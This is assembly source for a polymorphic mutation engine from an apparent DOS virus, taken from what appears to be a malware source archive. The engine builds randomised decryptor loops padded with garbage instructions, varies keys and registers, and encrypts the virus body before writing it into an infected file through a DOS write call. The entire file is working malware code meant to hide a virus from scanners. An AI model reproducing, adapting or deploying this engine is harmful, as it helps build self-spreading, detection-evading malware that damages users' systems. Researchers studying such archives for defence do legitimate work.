MalwareSourceCode/MSDOS/E-Index/Virus.MSDOS.Unknown.eng.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

940 lines
37 KiB
NASM

;----------------------------<<eng.asm>>---------------------------------------
_ax equ 0
_cx equ 1
_dx equ 2
_bx equ 3
_sp equ 4
_bp equ 5
_si equ 6
_di equ 7
engine: mov ds:pointer,ax ; save IP
mov di,offset decrypt
mov bx,offset make_count
mov cx,offset make_key
mov dx,offset make_ptr
mov si,offset order_ret
or bp,11101111b ; SP is used
call order ; randomize and call registers
push di ; save start of loop
push di
mov si,offset encode
mov di,offset write_buff
mov cx,encode_end-encode
rep movsb ; copy write code
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
pop di
mov bx,offset make_enc
mov cx,offset make_keychange
mov dx,offset make_deccount
mov si,offset make_incptr
call order ; call routines
;=====( Preform loop )=======================================================;
mov ax,2
push ax
call random ; test BP for 4000?
pop ax
jz loop_no_test
test bp,4000h ; possible to just "Jcc"?
jnz loop_make_jcc
loop_no_test: call random
jz loop_no_test1
test bp,2000h ; use loop?
jnz loop_make_jcc
loop_no_test1: or bp,800h ; do not change flags
mov ax,2
cwd
call random ; try OR/AND/TEST reg,reg
; or XOR/ADD/OR/SUB reg,0?
mov al,ds:count_reg ; get counter
jnz loop_orandtest
call boolean ; do XOR/OR/ADD or ADD/SUB?
jnz loop_modify
call add_reg ; ADD/SUB reg,0
jmp loop_make_jcc
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
jmp loop_make_jcc
loop_orandtest: mov cl,3
mov ch,al
shl ch,cl
or al,ch ; set reg1 as reg2 also
mov bx,2 ; OR/AND/TEST
call random_bx
jnz loop_and
or ax,9c0h ; OR reg1, reg2
loop_reverse: call boolean ; use 9 or 11?
jnz loop_orandteststo
or ah,2h ; reg2, reg1
jmp loop_orandteststo
loop_and: dec bx
jnz loop_test
or ax,21c0h ; AND reg1, reg2
jmp loop_reverse
loop_test: or ax,85c0h ; TEST reg1, reg2
loop_orandteststo:
xchg al,ah
stosw ; store TEST/OR/AND
or bp,1800h ; do not change flags/
; test stored
call garble
loop_make_jcc: and bp,not 800h
test bp,2000h ; code loop?
jz loop_make_jump
mov al,0e2h ; LOOP
test bp,1000h ; possible to use LOOPNZ/Z?
jz loop_code_disp
call boolean
jnz loop_code_disp
dec ax ; LOOPZ
call boolean
jnz loop_iscx
dec ax ; LOOPNZ
jmp loop_code_disp
;=====( Now make conditional jump )==========================================;
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
loop_make_jump: mov bx,offset jcc_tbl
mov ax,3
call random
xlat ; get Conditional jump
mov bx,2
call random_bx ; use JE/JS/LE/L then JMP?
jnz loop_code_disp
cmp ds:count_reg,_cx ; CX is counter?
jnz loop_notcx
mov bl,4
call random_bx
jnz loop_notcx
mov al,0e3h + 1 ; JCXZ + 1
loop_notcx: dec ax
loop_iscx: stosw
cmp al,07fh ; Jcxz/loopz?
ja loop_code_short
call boolean ; Use opposite or EB?
jnz loop_code_short
or bp,800h ; dont change flags
loop_code_short:mov si,di ; save offset of displacement
call garble
lea ax,ds:[si-2]
sub ax,di
neg al ; get jump displacement
mov ds:[si-1],al ; save it
test bp,800h ; Dont change flags -> "Jcc"
mov al,0ebh ; Jmp short
je loop_code_disp
mov ax,3
call random
mov bx,offset jcc_tbl
xlat ; Get JNE/JNS/JG/JGE
loop_code_disp: stosb ; store jump
pop ax ; start of loop
dec ax
sub ax,di ; get loop displacement
stosb
or bp,11101111b ; free all registers
and bp,not 800h ; allow flags to change
call garble
mov ax,19
call random ; 1 in 20 chance of non-jmp
jnz loop_code_jmp
mov ax,ds:pointer
add ax,offset file_start ; where to jump
xchg dx,ax
call get_reg ; get a register
call mov_reg ; Mov value into register
or ax,0ffc0h + (4 shl 3) ; JMP reg16
call boolean ; PUSH/RET or JMP reg16?
jnz loop_code_push
xchg al,ah
jmp loop_code_stosw
loop_code_push: mov bx,2
call random_bx ; 1 in 3 chance of FF /6 PUSH
jnz loop_code_push1
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
xchg al,ah
stosw
jmp loop_code_ret
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
stosb
loop_code_ret: call garble
mov al,0c3h ; RETN
stosb
jmp loop_code_end
loop_code_jmp: mov al,0e9h
stosb ; Store Jump
lea ax,ds:[di-((file_start-2)-v_start)]
neg ax ; Jmp file_start
loop_code_stosw:stosw
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
cmp di,offset header ; Decryptor is too large?
jb go_write_buff
stc ; return error
pushf
pop bp
retn
go_write_buff: jmp write_buff ; encrypt/write/decrypt
;=====( Inc pointer )========================================================;
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
mov dx,2 ; ADD ptr,2
cmp ah,-1 ; two registers used?
jz make_incptr_1
call boolean ; do one or both?
jnz make_incptr_do1
dec dx ; ADD ptr,1
call make_incptr_do1
jmp make_incptr_2
make_incptr_do1:call boolean
jnz make_incptr_1
make_incptr_2: xchg al,ah
make_incptr_1: call add_reg
sub ds:disp,dx ; add to displacement
retn
;=====( Dec counter )========================================================;
make_deccount: cmp si,offset make_deccount ; last operation?
jnz make_deccount_notlast
call boolean ; do it?
jnz make_deccount_notlast
or bp,4800h ; remember we're last
make_deccount_notlast:
mov al,ds:count_reg
cmp al,_cx ; possible to use LOOP/LOOPNZ?
jnz make_deccount_notcx
call boolean
jnz make_deccount_notcx
or bp,2000h ; do LOOP
jmp make_deccount_exit
make_deccount_notcx:
mov dx,-1 ; ADD counter,-1
call add_reg
make_deccount_exit:
or bp,400h ; deccount executed
retn
;=====( Make encryption instruction )========================================;
make_enc: push bp
and bp,not 400h
mov al,ds:key_reg
push ax ; save key register
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
call random
mov bx,0105h ; ADD [DI],AX
mov cx,1119h ; ADC/SBB
mov dx,2905h ; SUB [DI],AX
jz make_enc_add
dec ax
jz make_enc_sub
dec ax
jnz make_enc_ror
mov bh,31h ; XOR
mov dx,3105h ; XOR [DI],AX
jmp make_enc_sto
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
jne make_enc_which
or bp,400h ; Put XCHG CX,AX
mov bh,0d3h
mov dx,0d30dh ; ROL
dec ax
jz r_make_enc_sto
xchg bx,dx ; ROR
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
; D3 00 = ROL [],CL
jmp make_enc_sto
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
xchg cl,ch ; SBB/ADC
make_enc_add: call boolean ; do Carry?
jnz make_enc_sto
push bx
mov bh,ch ; Make it ADC/SBB
call clear_carry
cmp al,0
org $ - 1
make_enc_sto: push bx
test bp,8000h ; EXE file?
jz make_enc_com
call is_bp_ptr ; is BP a pointer?
je make_enc_com
mov al,2eh ; CS:
call boolean
jnz make_enc_cs
mov al,36h ; SS:
make_enc_cs: stosb ; store segment override
make_enc_com: mov al,bh
stosb ; store instruction
mov ax,word ptr ds:ptr_reg ; get pointer registers
cmp ah,-1 ; second reg?
je make_enc_xlat
add al,ah
make_enc_xlat: mov bx,offset rm_tbl
xlat ; get r/m
call is_bp_ptr ; is BP a pointer?
jnz make_enc_nobp
inc ah ; is there a second reg?
jne make_enc_nobp
or al,01000000b ; [BP+xx]
make_enc_nobp: mov cx,ds:disp ; get displacement
mov bx,6
call random_bx ; allow no displacement?
jz make_enc_get_disp
jcxz make_enc_sto_rm
make_enc_get_disp:
or al,01000000b ; 8bit displacement
call boolean ; allow 8bit displacement?
jnz make_enc_16bit
cmp cx,7fh ; 8bit displacement?
jbe make_enc_sto_rm
cmp cx,-80h
jb make_enc_16bit
xor ch,ch
cmp ax,0
org $ - 2
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
make_enc_sto_rm:mov ah,ds:key_reg
shl ah,1
shl ah,1
shl ah,1 ; from bits 0-2 of AH
or al,ah ; to bits 3-5 of AL
stosb ; store r/m byte
test al,11000000b ; any displacement?
jz make_enc_disp
test al,10000000b ; 16bit displacement?
xchg cx,ax
stosw ; store displacement
jnz make_enc_disp
dec di ; 8bit only
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
test bp,400h ; store XCHG CX,AX?
je make_enc_nor
mov al,91h ; XCHG CX,AX
stosb
make_enc_nor: xchg dx,ax
xchg al,ah
mov ds:encode_enc_ptr,di ; save instruction pointer
stosw ; set encryption instruction
je make_enc_nor1
mov al,91h ; XCHG CX,AX
stosb
make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
pop ax
xchg al,ah
mov word ptr ds:write_buff[encode_flip-encode],ax
; save opposite operation
pop ax
mov ds:key_reg,al ; restore key register
pop bp
retn
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
;=====( Change key )=========================================================;
make_keychange: call boolean ; change key?
jnz make_keychange_yes
retn
make_keychange_yes:
push bp
or bp,200h ; let know that keychange
mov ax,3
call random ; 1 in 4 chance of modify_reg
jnz keychange_other
call random_1
xchg dx,ax ; Random value to modify key
; reg by
mov al,ds:key_reg
call modify_reg ; XOR/ADD/OR
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
inc di ; CLC
mov al,ds:modify_op ; get operation
stosb
keychange_stodx:xchg dx,ax ; store value/operation
keychange_sto: stosw
xchg di,ds:encode_ptr ; get decrypt pointer
pop bp
retn
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
call random
jnz keychange_rol
mov ax,0d1c0h ; ROR AX,1
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
call random_bx
jnz keychange_nocl
cmp ds:count_reg,_cx ; Count is CX?
jne keychange_nocl
test bp,400h ; Count already decremented?
jnz keychange_nocl
or ah,2 ; By CL
keychange_nocl: xchg al,ah
push ax
or ah,ds:key_reg ; set key register
stosw ; store instruction
pop ax
xchg di,ds:encode_ptr ; get encode ptr
jmp keychange_sto
keychange_rol: dec ax
jnz keychange_not
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
jmp keychange_cl
keychange_not: dec ax
jnz keychange_neg
mov ax,0f7c0h + (2 shl 3) ; NOT AX
jmp keychange_nocl
keychange_neg: dec ax
jnz keychange_add
mov ax,0f7c0h + (3 shl 3) ; NEG AX
jmp keychange_nocl
keychange_add: call random_1
xchg dx,ax
mov al,ds:key_reg ; get key register
call add_reg ; ADD reg(ax), value(dx)
jmp keychange_stoop
;=====( Build key )==========================================================;
make_key: call get_reg ; get register
xchg dx,ax
call random_1 ; get key
mov ds:key,ax ; save key
xchg dx,ax
mov ds:key_reg,al ; save register
call mov_reg ; MOV reg(ax),value(dx)
retn
;=====( Build counter )======================================================;
make_count: call get_reg ; get register
mov ds:count_reg,al ; save register
mov dx,(decrypt-v_start)/2 ; # of words to crypt
call mov_reg ; mov reg(ax),value(dx)
retn
;=====( Build Pointer )======================================================;
make_ptr: mov dx,ds:pointer
call get_ptr_reg ; get DI/SI/BP/BX
mov ds:ptr_reg,al
mov ds:ptr_reg1,-1
mov bx,3
call random_bx ; 1 in 4 chance of 2 regs
jnz make_ptr_2
cmp al,_si
mov bx,11000000b ; DI/SI
jb make_ptr_test
mov bl,00101000b ; BP/BX
make_ptr_test: test bp,bx ; 'other' availible?
jz make_ptr_2
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
push ax
call conv_num ; convert to bit-map number
test al,bl ; is it other type?
pop ax
jnz make_ptr_ok
call del_reg ; delete register
jmp make_ptr_again
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
mov bx,-1
call random_bx
sub dx,bx ; randomize values
xchg bx,dx
call mov_reg ; mov reg(ax), value(dx)
xchg bx,dx
mov al,ds:ptr_reg ; get first reg
make_ptr_2: xor bx,bx ; zero displacement
call boolean ; use one?
jnz make_ptr_nodisp
mov bx,-1
call random_bx
sub dx,bx ; subtract displacement
make_ptr_nodisp:mov ds:disp,bx ; save displacement
call mov_reg ; mov reg(ax), value(dx)
retn
;=====( Shell for mov_reg1 )=================================================;
mov_reg: push bx dx
mov bx,4
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
jnz mov_reg_call
mov bx,-1
call random_bx ; get random #
sub dx,bx ; MOV reg, value-random #
call mov_reg1 ; do MOV reg,
mov dx,bx
call add_reg ; Now add difference
pop dx bx
retn
mov_reg_call: pop dx bx
;=====( Mov reg(ax), value(dx) )=============================================;
mov_reg1: push ax bx cx dx
cbw
mov bx,2
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
jz mov_reg_other
mov bl,2
call random_bx ; 1 in 3 chance of c6/c7 MOV
jnz mov_reg_b0
or ax,0c7c0h ; MOV reg,imm
call boolean ; Do long MOV or LEA?
jnz mov_reg_c7
mov cl,3
shl al,cl ; Reg -> bits 3,4,5
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
mov_reg_c7: xchg al,ah
stosw ; store it
mov_reg_sto: xchg dx,ax
stosw ; store value
call garble
mov_reg_exit: jmp modify_pop
mov_reg_b0: or al,0b8h ; MOV reg,imm
stosb
jmp mov_reg_sto
mov_reg_other: push ax
mov cl,3
mov ch,al
shl ch,cl ; copy reg1 to reg2
or al,ch ; set it
call boolean
jnz mov_reg_other1
or ah,2 ; reg1, reg2 -> reg2, reg1
mov_reg_other1: call boolean
jnz mov_reg_xor
or ax,29c0h ; SUB reg, reg
call boolean
jnz mov_reg_other_sto
xor ah,19h xor 29h ; SBB reg, reg
call clear_carry ; clear carry flag
mov_reg_other_sto:
xchg al,ah
stosw
call garble
pop ax
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
jmp mov_reg_exit
mov_reg_xor: or ax,31c0h ; XOR AX,AX
jmp mov_reg_other_sto
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
modify_reg: push ax bx cx dx
cbw
mov bx,2
call random_bx
mov cx,3500h + (6 shl 3) ; XOR
jz modify_reg_cont
mov cx,0d00h + (1 shl 3) ; OR
dec bx
jz modify_reg_cont
modify_reg_add: mov cx,0500h ; ADD
call boolean ; ADC or ADD?
jnz modify_reg_cont
mov cx,1500h + (2 shl 3) ; ADC
modify_reg_clc: call clear_carry ; Clear carry flag
modify_reg_cont:test bp,200h ; keychange executing?
jz modify_reg_nosave
mov ds:modify_op,ch ; save AX operation
modify_reg_nosave:
call boolean ; check if AX?
jnz modify_reg_noax
or al,al ; AX?
jnz modify_reg_noax
mov al,ch
stosb ; store instruction
xchg dx,ax
modify_sto: stosw ; store value
modify_exit: call garble
modify_pop: pop dx cx bx ax
retn
modify_reg_noax:or ax,81c0h
or al,cl ; XOR/OR/ADD
call boolean ; sign extend?
jnz modify_reg_nosign
cmp dx,7fh ; possible to sign extend?
jbe modify_sign
cmp dx,-80h
jb modify_reg_nosign
modify_sign: or ah,2 ; sign extend
modify_reg_nosign:
xchg al,ah
stosw
test al,2 ; sign extended?
xchg dx,ax
je modify_sto
stosb
jmp modify_exit
;=====( ADD reg(ax), value(dx) )=============================================;
add_reg: push ax bx cx dx
cbw
mov cx,dx
add_loop: mov bx,3
call random_bx ; 1 in 4 chance of ADD/SUB
jz add_noinc
mov bx,40c0h ; INC reg
test bp,200h ; keychange running?
jz add_nosave
mov ds:modify_op,05h ; ADD AX,
add_nosave: cmp cx,3h ; too high to INC?
jb add_inc
neg cx
cmp cx,3h ; too low to DEC?
ja add_noinc
mov bx,48c0h + (1 shl 3) ; DEC reg
test bp,200h
jz sub_nosave
mov ds:modify_op,2dh ; SUB AX,
sub_nosave: inc dx
inc cx
cmp ax,0
org $ - 2
add_inc: dec dx
dec cx
push ax
mov ax,5
call random ; 1 in 6 chance of FF
pop ax
push ax
jnz add_inc_40
mov ah,0ffh
xchg bl,bh
xchg al,ah ; AL=ff AH=Reg
stosb
xchg al,ah
add_inc_40: or al,bh ; set DEC/INC
stosb
pop ax
call garble
or dx,dx ; all done?
jnz add_loop
add_reg_exit: jmp modify_pop
add_noinc: call boolean ; ADD or SUB?
jz sub_reg
jmp modify_reg_add
sub_reg: test bp,200h ; keychange?
jnz sub_reg_key
neg dx
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
call boolean ; use SBB?
jz sbb_reg
jmp modify_reg_cont
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
jmp modify_reg_clc
;=====( clear carry flag )===================================================;
clear_carry: push ax bp
or bp,800h ; don't change flags
mov al,0f8h ; CLC
call boolean
jnz clear_carry_clc
mov ax,0f5f9h ; STC/CMC
stosb
call garble
xchg al,ah
clear_carry_clc:stosb
call garble
pop bp ax
retn
garble: push ax
mov ax,2
call random ; how many times to call?
xchg cx,ax
jcxz garble_exit
garble_loop: call garble1
loop garble_loop
garble_exit: xchg cx,ax
pop ax
retn
;=====( add garbage code )===================================================;
garble1: push ax bx cx dx bp
test bp,100h ; Garble already executing?
jnz garble_ret
and bp,not 200h ; keychange not executing
or bp,100h ; Garble executing
call boolean
jnz garble_ret
mov cl,3
call random_1
xchg dx,ax ; DX=random number
call get_reg ; get register
jc garble_ret
mov bx,6
test bp,800h ; flag change allowed?
jz garble_f
mov bl,2
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
jnz garble_xchg
or ah,89h
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
jz garble_reg_reg
or ah,2 ; 8b
xchg al,dl
garble_reg_reg: and dl,7 ; Get register values only
and al,7
shl dl,cl
or al,0c0h ; MOV reg1, random reg
or al,dl
xchg al,ah
stosw
garble_ret: pop bp
jmp modify_pop
garble_xchg: dec bx
jnz garble_1byte
xchg dx,ax
call get_reg ; get another reg
jc garble_ret
xchg dx,ax ; AL=reg1 DL=reg2
call boolean
jnz garble_xchgnoax
or dl,dl ; AX?
jz garble_xchgax
or al,al
jz garble_xchgax
garble_xchgnoax:or ah,87h ; XCHG reg1,
jmp garble_reg_reg
garble_xchgax: or al,90h
or al,dl ; XCHG AX, reg
garble_stosb: stosb
jmp garble_ret
garble_1byte: dec bx
jnz garble_modify
mov al,4
call random
mov bx,offset garble_1byte_tbl
xlat ; get 1 byte instruction
jmp garble_stosb
garble_modify: dec bx
jnz garble_add
call modify_reg ; ADD/XOR/OR reg1, random #
jmp garble_ret
garble_add: dec bx
jnz garble_mov
call add_reg ; ADD/SUB reg1, random #
jmp garble_ret
garble_mov: dec bx
jnz garble_op
call mov_reg ; MOV reg1, random #
jmp garble_ret
garble_op: and dh,00111000b ; get rnd op
mov ah,1
or ah,dh
jmp garble_reg_set
garble_1byte_tbl:
db 2eh
db 36h
cld
std
sti
;=====( Is BP a Pointer? )===================================================;
is_bp_ptr: cmp ds:ptr_reg,_bp
je bp_is_ptr
cmp ds:ptr_reg1,_bp
bp_is_ptr: retn
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
get_ptr_regnext:call del_reg ; restore register to pool
get_ptr_reg: call get_reg ; get register
cmp al,_bx
je got_ptr_reg
cmp al,_bp
jb get_ptr_regnext
got_ptr_reg: retn
;=====( return random register in AL )=======================================;
get_reg: test bp,11101111b ; any registers free?
stc
jz get_reg_exit
get_reg_loop: mov ax,7
call random
push ax
cbw
call conv_num ; convert to bit map
test bp,ax ; is register free?
pushf
not ax
and bp,ax ; mark register
popf
pop ax
jz get_reg_loop
get_reg_exit: retn
;=====( Restore register to pool )===========================================;
del_reg: push ax
cbw
call conv_num ; convert to bit number
or bp,ax ; restore register
pop ax
retn
;=====( convert number to bit map )==========================================;
conv_num: push cx
mov cl,al
mov al,1
shl al,cl
pop cx
retn
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
order: call garble
mov ax,2
call random
xchg cx,ax
inc cx
order_loop: call boolean
jnz order1
xchg bx,ax
order1: call boolean
jnz order2
xchg dx,ax
order2: call boolean
jnz order3
xchg si,ax
order3: loop order_loop
push si dx bx ax
order_ret: retn
;=====( return random number between 0 and ffff in bx )======================;
random_bx: xchg bx,ax
call random
xchg bx,ax
retn
;=====( flip Sign bit )======================================================;
boolean: push ax
mov ax,1
call random
pop ax
retn
;=====( return random number between 0 and ffff )============================;
random_1: mov ax,-1
;=====( Generate random number between 0 and AX )============================;
random: push ds bx cx dx ax
xor ax,ax
int 1ah
push cs
pop ds
in al,40h
xchg cx,ax
xchg dx,ax
mov bx,offset ran_num
xor ds:[bx],ax
rol word ptr ds:[bx],cl
xor cx,ds:[bx]
rol ax,cl
xor dx,ds:[bx]
ror dx,cl
xor ax,dx
imul dx
xor ax,dx
xor ds:[bx],ax
pop cx
xor dx,dx
inc cx
je random_ret
div cx
xchg ax,dx
random_ret: pop dx cx bx ds
or ax,ax
retn
ran_num dw ?
;=====( Encrypts the code/writes it/decrypts code )==========================;
encode: mov bx,ds:handle
mov ax,0
key = word ptr $ - 2
mov cx,(decrypt-v_start)/2
xor di,di
encode_break: clc
clc
clc
clc ; XCHG CX,AX XCHG CX,AX
clc
clc ; CLC ADD AX,xxxx / XOR [DI],AX
clc
clc ; XOR [DI],AX / CLC ADD AX,xxxx
inc di
inc di
loop encode_break
encode_ret = byte ptr $
mov ah,40h
mov cx,file_size
cwd
pushf
call cs:int_21
jc encode_flag
sub ax,cx
encode_flag: pushf
pop bp
mov word ptr ds:[si],0
encode_flip = word ptr $ - 2
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
jmp encode
encode_end: